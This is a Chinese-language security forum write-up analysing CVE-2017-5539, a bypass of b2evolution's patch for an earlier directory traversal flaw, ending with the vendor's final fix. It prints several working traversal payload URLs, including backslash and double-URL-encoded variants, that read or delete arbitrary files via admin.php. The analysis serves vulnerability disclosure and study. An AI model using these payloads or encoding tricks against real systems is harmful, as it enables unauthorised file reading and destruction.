CVE原创分析b2evolution目录遍历bypass之CVE20175539

blackwolf / 2017-04-26 03:16:00 / 浏览数 4385 安全技术 漏洞分析 顶(0) 踩(0)

0x00 前言

b2evolution官方针对CVE-2017-5480漏洞修复存在缺陷，可直接bypass删除、读取任意文件（CVE-2017-5539）。

0x01 漏洞回顾

b2evolution小于或等于存在6.8.3版本存在目录遍历漏洞导致删除、读取任意文件，漏洞详细分析见笔者上一篇博客，初探CVE漏洞之CVE-2017-5480。
官方修复并发布了6.8.4-stable新版本
CVE-2017-5480漏洞测试

```
http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=../../../../../../../../../../../../
```

返回如下图所示，可见官方已修复之前的漏洞

0x02 Bypass

修复方式并不安全，补丁地址，补丁部分代码如下

```
+// Prevent directory traversal using '..'
+$re = '/\/?\.\.\/+/';
foreach( $fm_selected as $l_source_path )
{
+    if( preg_match( $re, $l_source_path ) )
+    {
+        debug_die( 'Invalid fm_selected parameter value' );
+    }
 $selected_Filelist->add_by_subpath( urldecode($l_source_path), true );
}
```

分析出作者采取过滤../的方式修复CVE-2017-5480漏洞。然而这种方式并不安全,可直接Bypass,参考CVE-2017-5539。
修改payload如下：

```
http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=..\/..\/..\/..\/..\/..\/..\/..\/.
```

等价的payload如下：

```
http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=..\..\..\..\..\..\..\..\..\..\..\..\
```

通过同作者联系沟通，得到作者如下回复

作者企图通过直接过滤../和..\的方式修复此漏洞。这样就安全了吗？当然不是（最容易想到的方式是使用绝对路径，但是此处有前缀路径拼接不能成功）
在/inc/files/files.ctrl.php文件中发现文件路径参数经过了urldecode处理，部分代码如下。

```
$selected_Filelist->add_by_subpath( urldecode($l_source_path), true );
```

所以即使过滤../和..\也存在如下两种方式绕过，..%252f经过urldecode处理后转换为../,..%255c经过urldecode处理后转换为..\,修改payload如下：
1.

```
http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=..%252f..%252f..%252f..%252f..%25
```

2.

```
http://127.0.0.1/b2evolution/admin.php?ctrl=files&root=user_4&action=file_copy&fm_selected[]=..%255c..%255c..%255c..%255c..%25
```

结果如下图

0x03 结束语

官方最终采用以下修复，并发布6.8.5-stable版本

```
$fm_selected = param( 'fm_selected', 'array:filepath', array(), true );
```

array:filepath参数合规性判断的核心函数如下：

```
function is_safe_filepath( $filepath )
{
global $filemanager_allow_dotdot_in_filenames;

if( ! isset( $filemanager_allow_dotdot_in_filenames ) )
{    // This config var is required:
debug_die( 'The var <strong>$filemanager_allow_dotdot_in_filenames</strong> must be defined in config file.' );
}

if( empty( $filepath ) )
{    // Allow empty file path:
return true;
}

if( ! $filemanager_allow_dotdot_in_filenames &&
strpos( $filepath, '..' ) !== false )
{    // Don't allow .. in file path because it is disable by config:
return false;
}

do
{    // Decode file path while it is possible:
$orig_filepath = $filepath;
$filepath = urldecode( $filepath );

if( strpos( $filepath, '../' ) !== false || strpos( $filepath, '..\\' ) !== false )
{    // Don't allow a traversal directory:
return false;
}
}
while( $filepath != $orig_filepath );

return true;
}

?>
```

- 如果管理员设置了不允许文件名包含..，只要检测文件路径包含..即返回false
- 循环进行urldecode操作，然后检测文件路径包含../或..\即返回false

上一篇：CVE原创分析初探CVE漏洞之CV... 下一篇：CVE原创分析初探CVE漏洞之CV...

1. 1 条回复

索马里的海贼 2017-05-03 04:01:43

终于找到了抢我cve的人。。。

0 回复Ta

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板